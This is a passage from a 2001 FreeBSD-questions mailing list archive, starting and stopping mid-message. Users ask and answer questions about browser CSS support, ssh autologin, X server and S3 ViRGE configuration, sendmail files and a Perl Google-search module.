All of which is probably why I've as yet to encounter a major software product that didn't have some form of pro-bono support available. That support often works better than the customer support line. I know employees who watched the pro bono support for their companies product, and were encouraged to do so by the company on company time, though that is unusual. In at least one such case, the people watching the pro bono support knew the product better than the ones answering the support lines. The only support I've seen that was much better than the better pro bono support was from Cray. That's because they put an engineer on site who knew the inside of the product and was competent to work there. On the other hand, the monthly support fee was about the same as the yearly salary for hiring someone to do that for free products. > > There are certainly better tools than ftp for > > maintaining file structure. Personally, I use > > Perforce. > Does it require X? No. > > Yes, it autoindents for HTML, XML, C and Perl. > > Sounds good. > > > It doesn't pretend to be a WYSIWYG HTML editor, > > but it can format HTML and follow links on the > > fly. > Uh-oh. Does it require X? No, but it will use it if it's available. > > MSIE 4.x may have been better than Netscape 4.x, > > but trying to get something that did anything > > complicated, worked in both of them, and followed > > the standards was a nightmare. > That was Netscape's problem, not Microsoft's. No, it was both of them. The standard would dictate one behavior, Netscape did something different, and MSIE did yet a third thing. > I stopped supporting Netscape 4.x > over a year ago because the browser has so many bugs that it at least doubles > development time for any page or site, and because virtually no one is using > Netscape browsers today, anyway (less than 2% of visitors to my site). In order > to support Netscape 4.x, you have to write two versions of every page: one for > Netscape, and one for all the other browsers in the world that adhere to W3C > standards. Either that, or you have to create pages so lame that people fall > asleep reading them. I voted to just drop Netscape support, and write for all > the other browsers. The poor CSS support was one of the worst problems with > that version of Netscape. In which case, the pages should look the same in Netscape the way I configured it as it did for other browsers. I disable the CSS support in Netscape. Much as I detest browser sniffing, there are tricks you can use in CSS to hide the CSS from Netscape v4 - and from MSIE v3, which was almost as bad. If your pages were unusable if the user disabled CSS, then they're in Sturgeon's 90 percent. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12: 2:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.radzinschi.com (cc222717-a.owml1.md.home.com [65.8.33.207]) by hub.freebsd.org (Postfix) with ESMTP id 4878F37B405 for ; Wed, 21 Nov 2001 12:02:08 -0800 (PST) Received: from localhost (marco@localhost.radzinschi.com [127.0.0.1]) by mail.radzinschi.com (8.11.6/8.11.6) with ESMTP id fALK2GN64751; Wed, 21 Nov 2001 15:02:21 -0500 (EST) (envelope-from marco@radzinschi.com) Date: Wed, 21 Nov 2001 15:02:16 -0500 (EST) From: Marco Radzinschi To: Lumiere Cc: Subject: Re: Question about how to get FreeBSD In-Reply-To: <000201c17282$d986f560$974096d5@meff> Message-ID: <20011121145945.B64733-100000@mail.radzinschi.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello: Check the following list for a mirror close to you: http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mirrors-ftp.html Also, you can get an ISO image of the install CD via the web instead of FTP from the following site: http://www.linuxiso.org/freebsd.html Marco Radzinschi E-Mail: marco@radzinschi.com AOL IM: CrackedBoy Running FreeBSD 4.4-RELEASE i386 2:59PM up 9 days, 23:28, 1 user, load averages: 1.00, 1.00, 1.00 On Wed, 21 Nov 2001, Lumiere wrote: > Hello! > My name is Anton, I'm from Russia. > Couldn'n you help me, please. > I wanted to install FreeBSD on my computer, but I can't do it: since some time ftp-site "current.freebsd.org" asks for some "login" and "password" ("anonymous" login doesn't work). > So, tell me some login & password please (that I can use to enter this FTP-site ). > Waiting for your answer on e-mail: lumiere@nordnet.ru > Best regards, Anton. > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:12: 1 2001 Delivered-To: freebsd-questions@freebsd.org Received: from metrotel.net.co (metrotel.agrecon.com.co [200.30.54.1]) by hub.freebsd.org (Postfix) with ESMTP id CE64B37B418 for ; Wed, 21 Nov 2001 12:11:52 -0800 (PST) Received: from localhost (bartok@interasync120.metrotel.net.co [200.68.134.120]) by metrotel.net.co (8.9.1/8.9.1) with SMTP id PAA00378 for ; Wed, 21 Nov 2001 15:11:51 -0500 (EST) Subject: how do disable autologin with ssh Content-transfer-encoding: 8bit To: freebsd-questions@freebsd.org From: Eugene Bartok X-mda: Perl SMTP mailer: on unknown Content-type: text/plain; charset=us-ascii User-agent: Mutt/1.2.5i Mime-version: 1.0 Content-disposition: inline Date: Wed, 21 Nov 2001 15:06:30 -0500 Message-id: <20011121150630.A939@metrotel.net.co> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG hi, i want to know how to disable auto login on ssh on freebsd -stable? I am looking for the same option as telnet -K. I did no find anything on man page. thanks To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:15:10 2001 Delivered-To: freebsd-questions@freebsd.org Received: from relay3-gui.server.ntli.net (relay3-gui.server.ntli.net [194.168.4.200]) by hub.freebsd.org (Postfix) with ESMTP id 2C56F37B405 for ; Wed, 21 Nov 2001 12:14:52 -0800 (PST) Received: from pc3-card3-0-cust122.cdf.cable.ntl.com ([62.254.251.122] helo=rhadamanth.private.submonkey.net ident=exim) by relay3-gui.server.ntli.net with esmtp (Exim 3.03 #2) id 166dlg-00069y-00; Wed, 21 Nov 2001 20:14:49 +0000 Received: from setantae by rhadamanth.private.submonkey.net with local (Exim 3.33 #1) id 166dkV-0000qw-00; Wed, 21 Nov 2001 20:13:35 +0000 Date: Wed, 21 Nov 2001 20:13:35 +0000 From: setantae To: Dave VanAuken Cc: questions@FreeBSD.ORG Subject: Re: determine user home directory from non-priv user Message-ID: <20011121201335.GA3178@rhadamanth> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.23.2i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Wed, Nov 21, 2001 at 02:34:15PM -0500, Dave VanAuken wrote: > For example, need to find out what user "Joe"'s home dir is... we would execute > our program ("finduserdir" in this example) in the following manner to get the > desired results: > server# finduserdir Joe > /usr/home/Joe > server# Will this do ? setantae@rhadamanth setantae$ awk -F: '/setantae/ {print $6}' /etc/passwd /home/setantae Ceri -- keep a mild groove on To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:16: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 1DAD637B50D for ; Wed, 21 Nov 2001 12:15:36 -0800 (PST) Received: (qmail 96157 invoked by uid 100); 21 Nov 2001 20:15:55 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.2938.993004.498095@guru.mired.org> Date: Wed, 21 Nov 2001 14:15:54 -0600 To: "Bob Hall" , "Anthony Atkielski" Cc: questions@freebsd.org Subject: Re: home pc use In-Reply-To: <87055339@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Bob Hall types: > On Tue, Nov 20, 2001 at 09:46:37PM -0600, Mike Meyer wrote: > > Greg Lehey types: > > > I think you're looking from your standpoint. But note that the > > > average user is also very badly educated about computers. When that > > > changes, software will get better than the current Microsoft junk. > > Unfortunately, that probably won't happen. Even people who are > > educated about computers and realize that it's junk keep on using > > it. That's because the cost of converting is so much higher than the > > benefit of converting. I mean - how many of people really care about > In addition, the average user is going to become less educated about > computers. As software becomes more user-friendly, users need to know > less about computers and therefore people who know less about > computers become users. The average computer user today knows much > less about computers than the average user back when the Internet was > running on TOPS operating systems. Overtime, improvements in > technology will allow people who know even less about computers to > start using them, and the average knowledge will decrease even more. The sad part is that they all accept the instability and inflexibility of windows as normal for computers. Anthony Atkielski types: > > Mouse? Hardly need one unless I'm working with > > GIMP or playing QuakeForge. > I've found that the main reason for having a mouse on a GUI is that no other > easy way to navigate among windows exists. The keyboard works quite nicely, given proper support. If you don't like X, check out screen in the ports tree. Emacs provides similar capabilities if you really want them. Ratpoison is an X window manager designed to look like screen, though the ports version is badly out of date; my update to the last release is in PR ports/31038. evilwm is in the ports tree, and seems equally capable. plwm looks very interesting, but requires the python x library, and neither are in the ports tree, though I plan on submitting them soon. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:30:11 2001 Delivered-To: freebsd-questions@freebsd.org Received: from dot.uber.com.br (ctbcnetsuper-146.ctbcnetsuper.com.br [200.225.201.146]) by hub.freebsd.org (Postfix) with SMTP id 6180037B417 for ; Wed, 21 Nov 2001 12:30:07 -0800 (PST) Received: (qmail 13340 invoked from network); 21 Nov 2001 18:25:48 -0000 Received: from ctbcnetsuper-183.ctbcnetsuper.com.br (HELO iceb.ufop.br) (200.225.204.183) by 0 with SMTP; 21 Nov 2001 18:25:48 -0000 Message-ID: <3BFC104F.833D01BF@iceb.ufop.br> Date: Wed, 21 Nov 2001 18:36:31 -0200 From: =?iso-8859-1?Q?Jos=E9?= Romildo Malaquias X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.9-13 i686) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-newbies@freebsd.org, freebsd-questions@freebsd.org Cc: romildo@uber.com.br Subject: Questions regarding FreeBSD installation Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello. Being a seasoned Linux user, the time to experiment with FreeBSD has just arrived to me. After reading chapter 2 (Installing FreeBSD) of the handbook, some points are not yet clear to me. I intend to install FreeBSD on my PC, which already has some operating systems installed: Red Hat Linux 7.2, Mandrake Linux 8.1 and Windows ME. It has two hard disks. It is using the GRUB boot manager. I would apreciate clarifications on the following points: 1. Does FreeBSD must really be installed into a primary disk partition? Can not it be installed into a logical partition? 2. Can the FreeBSD and Linux swap partition be shared? 3. Can the installation be done from an existing ext3 or ext2 (second extended file system, from Linux), existing filesystem? 4. After installation, all installed operating systems will be ready bootable from the FreeBSD boot manager after installation? 5. Can the current boot manager be kept and used to boot also FreeBSD? How? Note: Section 2.5.2 (Disk Organization) of the handbook are not very well written, since the use of the terms "partition" and "slice" is pretty confusing in the text. This is due to the overloaded use of "partition" . Regards, Romildo. -- Prof. José Romildo Malaquias Departamento de Computação http://iceb.ufop.br/~romildo Universidade Federal de Ouro Preto romildo@iceb.ufop.br Brasil romildo@uber.com.br To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:35:51 2001 Delivered-To: freebsd-questions@freebsd.org Received: from albatross.prod.itd.earthlink.net (albatross.mail.pas.earthlink.net [207.217.120.120]) by hub.freebsd.org (Postfix) with ESMTP id AD77137B419 for ; Wed, 21 Nov 2001 12:35:38 -0800 (PST) Received: from cpe-24-221-47-19.az.sprintbbd.net ([24.221.47.19] helo=sparky.suntreeaz.com) by albatross.prod.itd.earthlink.net with esmtp (Exim 3.33 #1) id 166e5o-0002jO-00; Wed, 21 Nov 2001 12:35:37 -0800 Received: from drs (drs.suntreeaz.com [192.168.254.19]) by sparky.suntreeaz.com (8.11.3/8.11.3) with SMTP id fALKZSU16675; Wed, 21 Nov 2001 13:35:29 -0700 (MST) (envelope-from drs@suntreeaz.com) Message-ID: <00e001c172cc$115eb9c0$13fea8c0@drs> From: "Don Sutter" To: "Rick Hamell" Cc: "FreeBSD Questions" References: Subject: Re: S3 ViRGE in high color mode Date: Wed, 21 Nov 2001 13:35:32 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I wish this was true also but 1280 * 1024 is 1,310,720 bytes per color plane (1.25mB). 3 color planes (24 bits) is only 3,932,160 bytes total (3.75mB). Besides, as I explained in my original post, the display comes up and works but breaks up whenever I move my mouse. There also seems to be some sort of interval interrupt that breaks up the image and some permanent artifacts on the right side of the screen. This machine also dual boots Windows 98se which also runs at 1280 x 1024 x 24 without any problems (other than Windows issues ~smile) ----- Original Message ----- From: "Rick Hamell" To: "Don Sutter" Cc: "Josh Paetzel" ; "FreeBSD Questions" Sent: Tuesday, November 20, 2001 6:12 PM Subject: Re: S3 ViRGE in high color mode > > It's because 4 megs is not enough to do 1280x1024 AND more then 8 > bit... If you pull it down to 1024x768x16bit, it'll probally work. > > Rick > > > I wish I could report your suggestion worked but it doesn't. > > It doesn't seem to be resolution dependent, rather color > > depth dependent. I usually run my monitor at 1280 X 1024. > > 8 bit mode runs fine but nothing else. I suspect it's a > > driver issue... > > > > > > On Fri, Nov 16, 2001 at 10:57:07PM -0700, Don Sutter > > wrote: > > > > Has anyone figured out how to get a 4M S3 ViRGE PCI > > (86C325) > > > > to run at more than 256 colors at 1024 X 768 in KDE > > 2.2.1 / > > > > XFree86 4.1.0_10 without breaking up every time you move > > the > > > > mouse? I looked the man page at > > > > http://www.xfree86.org/4.1.0/s3virge.4.html over and > > there > > > > are quite a few combinations to try. Anybody had any > > luck > > > > yet or am I just too far out on the bleeding edge? > > > > > > heh, no. :) > > > > > > Try this in your XF86Config: > > > > > > Section "Screen" > > > Identifiers "Screen0" > > > Device "Card0" > > > Monitor "Monitor0" > > > DefaultDepth 16 > > > Subsection "Display" > > > Depth 16 > > > Modes "1024x768" > > > EndSubSection > > > EndSection > > > > > > Section "Device" > > > Identifier "Card0" > > > Driver "s3virge" > > > VendorName "cirrus" > > > BoardName "whatever" > > > BusID "PCI:0:15:0" #Your entry here might vary > > > ChipSet "86c325" > > > EndSection > > > > > > > > > See if that works. > > > Josh > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-questions" in the body of the message > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:38:44 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts20-srv.bellnexxia.net (tomts20.bellnexxia.net [209.226.175.74]) by hub.freebsd.org (Postfix) with ESMTP id F3D1B37B405 for ; Wed, 21 Nov 2001 12:38:41 -0800 (PST) Received: from sympatico.ca ([65.94.229.85]) by tomts20-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011121203841.GEHO25459.tomts20-srv.bellnexxia.net@sympatico.ca> for ; Wed, 21 Nov 2001 15:38:41 -0500 Message-ID: <3BFC10D2.4070603@sympatico.ca> Date: Wed, 21 Nov 2001 15:38:42 -0500 From: Phil R User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.5) Gecko/20011027 X-Accept-Language: en-us MIME-Version: 1.0 To: freebsd-questions@freebsd.org Subject: ide-scsi emulation Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG How to enable ide-scsi emulation in FreeBSD 4.3 that i can use #cdrecord -scanbus? Thanks folks! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:41:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from guru.mired.org (okc-65-31-203-60.mmcable.com [65.31.203.60]) by hub.freebsd.org (Postfix) with SMTP id 097E437B405 for ; Wed, 21 Nov 2001 12:41:12 -0800 (PST) Received: (qmail 96472 invoked by uid 100); 21 Nov 2001 20:41:29 -0000 From: Mike Meyer MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15356.4473.809351.469065@guru.mired.org> Date: Wed, 21 Nov 2001 14:41:29 -0600 To: "Charles Burns" Cc: questions@freebsd.org Subject: Re: Quick, unimportant X question In-Reply-To: <75075045@toto.iv> X-Mailer: VM 6.90 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid X-face: "5Mnwy%?j>IIV\)A=):rjWL~NB2aH[}Yq8Z=u~vJ`"(,&SiLvbbz2W`;h9L,Yg`+vb1>RG% *h+%X^n0EZd>TM8_IB;a8F?(Fb"lw'IgCoyM.[Lg#r\ Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Charles Burns types: > "XFree86" seems to execute /just/ X, the server, but not Gnome. > According to the handbook, it should run X with Gnome if I altrer .xinitrc > appropriately. I did and put on in /root and one in /etc/X11/xinit (or > something like that) and it seems to completely ignore the entry. > > Running "xinit", however, runs Gnove fine. Now, X is working great so not > problem here, but, why? I just happenned to try 'xinit' as a command for the > heck of it. I don't understand the whole way X works yet. The only GUI that > I have used for years is... Well, you know... X is normally multiple different servers, one for each display type. It looks like Xfree86-4 has changed that to one server that loads the appropriate driver dynamically. xinit provides one command to start the correct server based on the environment, then start a client - or run a shell script to start multiple clients - to provide a simple way to get your X environment up and running. Startx is a shell front end to xinit that allows easy local customization. On FreeBSD, it's provides tweaks to make the X environment more secure. This is typical for Unix applications. Instead of having one monolithic piece of code that does it all, you have multiple smaller programs that cooperate with each other through clearly defined interfaces. This improves the stability of the system because you can write one piece of the system without having to worry about how it affects everything else and vice versa, except through those interfaces. http://www.mired.org/home/mwm/ Q: How do you make the gods laugh? A: Tell them your plans. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:46:49 2001 Delivered-To: freebsd-questions@freebsd.org Received: from winnt.use.ch (client62-2-92-231.hispeed.ch [62.2.92.231]) by hub.freebsd.org (Postfix) with ESMTP id E604E37B405 for ; Wed, 21 Nov 2001 12:46:41 -0800 (PST) Subject: Re: Novell and BSD To: Lord Raiden Cc: freebsd-questions@FreeBSD.ORG X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: FreeBSD@hm.homeip.net Date: Wed, 21 Nov 2001 21:39:32 +0100 X-MIMETrack: Serialize by Router on winnt/Privat(Release 5.0.8 |June 18, 2001) at 21.11.2001 21:46:47 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi well that completly depends on what you want to do, I have here a Novell box and serveral BSD boxes side by side, and they can live quiet nice together... no scratches no biting ;-) - Joe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:50:32 2001 Delivered-To: freebsd-questions@freebsd.org Received: from atkielski.com (atkielski.com [161.58.232.69]) by hub.freebsd.org (Postfix) with ESMTP id 88B3837B417 for ; Wed, 21 Nov 2001 12:50:29 -0800 (PST) Received: from contactdish (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by atkielski.com (8.11.6) id fALKoJP74401; Wed, 21 Nov 2001 21:50:20 +0100 (CET) Message-ID: <00df01c172ce$22441080$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Jan Grant" Cc: "FreeBSD Questions" References: Subject: Re: Sendmail security and defaults on 4.3 RELEASE Date: Wed, 21 Nov 2001 21:50:13 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I added my other machine (on my LAN) to /etc/mail/access right away. I don't understand what the mapping thing does to this file; it looks the same after I run the command as it did before, so what happened? I already have a few things in the aliases file, and I have some previous experience with that (on my production Web site). Looked at local-host-names but didn't actually create one. Haven't heard of virtusertable but I'll look into it. Sendmail configuration looks exceedingly hairy and I've read dire warnings about playing with it on many occasions. I get the impression that one could make a career just out of going from site to site tuning the sendmail configuration file. ----- Original Message ----- From: "Jan Grant" To: "Anthony Atkielski" Cc: "FreeBSD Questions" Sent: Wednesday, November 21, 2001 17:21 Subject: Re: Sendmail security and defaults on 4.3 RELEASE > On Wed, 21 Nov 2001, Anthony Atkielski wrote: > > > How secure is the default configuration of sendmail on an > > installation of FreeBSD 4.3 RELEASE? I want to open the smtp port > > and try some stuff mailing back and forth, possibly on a > > semi-production basis. Are there any risks I need to worry about > > with the default configuration of sendmail? > > It's pretty good, to be honest, and works well as a leaf-node. There are > a bunch of self-explanatory files in /etc/mail. Except, of course, for > the sendmail.cf file :-) > > You'll probably want to edit > /etc/mail/access > .../aliases > .../local-host-names > .../virtusertable (if you're hosting multiple domains) > > However, sendmail is something that it's worth keeping up-to-date. This > is pretty simple to do if you're using cvsup. > > There are a bunch of alternative mailers (qmail, postfix, exim) all of > which are reasonable alternatives. > > Sendmail configuration can be a bit thorny; I'd recommend you play and > come back with specific setup questions. > > -- > jan grant, ILRT, University of Bristol. http://www.ilrt.bris.ac.uk/ > Tel +44(0)117 9287088 Fax +44 (0)117 9287112 RFC822 jan.grant@bris.ac.uk > and Nostradamus never dreamed of the Church of the Accellerated Worm > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:56:21 2001 Delivered-To: freebsd-questions@freebsd.org Received: from services.webwarrior.net (overlord-host99.dsl.visi.com [209.98.86.99]) by hub.freebsd.org (Postfix) with ESMTP id 1A35137B405 for ; Wed, 21 Nov 2001 12:56:14 -0800 (PST) Received: from twincat.vladsempire.net (hutch-632.hutchtel.net [206.10.68.160]) by services.webwarrior.net (Postfix) with ESMTP id 501FD236 for ; Wed, 21 Nov 2001 14:57:01 -0600 (CST) Received: by twincat.vladsempire.net (Postfix, from userid 1001) id 2383D397C; Wed, 21 Nov 2001 14:52:06 +0000 (GMT) Date: Wed, 21 Nov 2001 14:52:06 +0000 From: Josh Paetzel To: freebsd-questions@freebsd.org Subject: (perl*2)+zsh questions Message-ID: <20011121145205.A9402@twincat.vladsempire.net> Mail-Followup-To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I am running a 4.4-STABLE machine based on the Tyan Tiger 133 board with two P3-600b/133 and 256 megs of PC133 RAM. ===jpaetzel@twincat ('tty') /home/jpaetzel -> uname -a FreeBSD twincat.vladsempire.net 4.4-STABLE FreeBSD 4.4-STABLE #0: Wed Nov 14 06:58:58 GMT 2001 jpaetzel@twincat.vladsempire.net: /usr/obj/usr/src/sys/TWINCAT i386 I have been trying to get a blootbot running, which uses WWW::Search and WWW::Search::Google, among a bunch of other stuff. Everything on the bot is working except for it's ability to do Google searches, so I started poking into things. In the process I have noticed a couple of things: I am running zsh as my shell with the following .zshrc: ===jpaetzel@twincat ('tty') /home/jpaetzel -> cat .zshrc umask 022 BLOCKSIZE=1M PATH=/usr/bin:/usr/local/bin:/usr/sbin:/sbin:/bin:/usr/X11R6/bin PS1="===%n@%m ('tty') %/ -> " IRCNICK="Friar_Josh" TERM=xterm export TERM export IRCNICK export BLOCKSIZE I can run perl scripts just fine, but I don't get any output back to the screen. I've taken a look through the extensive zsh documentation, and I suspect that it is doing strange things with stdout, as bash and sh and csh all seem to work fine. The scripts will save to files just fine, and I can see them doing disk access and so forth, they just don't seem to be able to use stdout. Any clues from a fresh pair of eyes or maybe a set that's been down this road? Well, anyways, that's just a minor hickup. My main question is about WWW::Search::Google It seems to be functioning improperly. When I use it, I can see that it goes out to the internet, it just doesn't return any results. I've gone so far as to run the code snippet in the man page, and it just doesn't work. (Perl runs fine, without an error, it just doesn't return anything, even when I'm not using zsh.) WWW::Search::AltaVista works fine, but I haven't tried any other search modules. Again, anybody be able to clue me in here? Test code from the man page included in case anyone wants to try it out. use WWW::Search; my $Search = new WWW::Search('Google'); # cAsE matters my $Query = WWW::Search::escape_query("Where is Jimbo"); $Search->native_query($Query); while (my $Result = $Search->next_result()) { print $Result->url, "\n"; } Thanks, Josh To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:57:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 20B3337B405 for ; Wed, 21 Nov 2001 12:57:08 -0800 (PST) Received: from hades.hell.gr (patr530-a071.otenet.gr [212.205.215.71]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fALKv1024679; Wed, 21 Nov 2001 22:57:02 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fALD3kk65213; Wed, 21 Nov 2001 15:03:46 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 15:03:44 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121130344.GD59861@hades.hell.gr> References: <00a601c17202$0f9af880$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00a601c17202$0f9af880$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 21:29:25, Anthony Atkielski wrote: > I think we are desynchronized a bit. I was talking about production use of the > OS. Sorry, but you cannot sell an OS for use in production environments with > the advice to "read the man pages" or "e-mail this list" if support is required. There is a whole world of difference between a mailing list that you are free to subscribe to, and commercial-grade consulting support. If it is only the latest you are looking for, there are many places you can look for it. I, for one thing, am willing to support you and provide consulting on FreeBSD installation and use. It is more than certain that a lot of others will be more than willing to do it too. You can not, and should not complain, that support that is given for free on a list like this is not of your taste though. It's done on my spare time (and the spare time of the others that contribute). -giorgos To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 12:57:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mailsrv.otenet.gr (mailsrv.otenet.gr [195.170.0.5]) by hub.freebsd.org (Postfix) with ESMTP id 30EAA37B417 for ; Wed, 21 Nov 2001 12:57:09 -0800 (PST) Received: from hades.hell.gr (patr530-a071.otenet.gr [212.205.215.71]) by mailsrv.otenet.gr (8.11.5/8.11.5) with ESMTP id fALKv5024746; Wed, 21 Nov 2001 22:57:05 +0200 (EET) Received: (from charon@localhost) by hades.hell.gr (8.11.6/8.11.6) id fALCuMw63419; Wed, 21 Nov 2001 14:56:22 +0200 (EET) (envelope-from charon@labs.gr) Date: Wed, 21 Nov 2001 14:56:21 +0200 From: Giorgos Keramidas To: Anthony Atkielski Cc: questions@FreeBSD.ORG Subject: Re: home pc use Message-ID: <20011121125621.GC59861@hades.hell.gr> References: <00a601c17202$0f9af880$0a00000a@atkielski.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <00a601c17202$0f9af880$0a00000a@atkielski.com> User-Agent: Mutt/1.3.23.1i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 2001-11-20 21:29:25, Anthony Atkielski wrote: > Maybe I should take a poll: How many FreeBSD users here are satisfied with just > the standard command-line interface and interactions through terminal-style > remote programs like telnet or ssh? I'll raise my hand, but I daresay 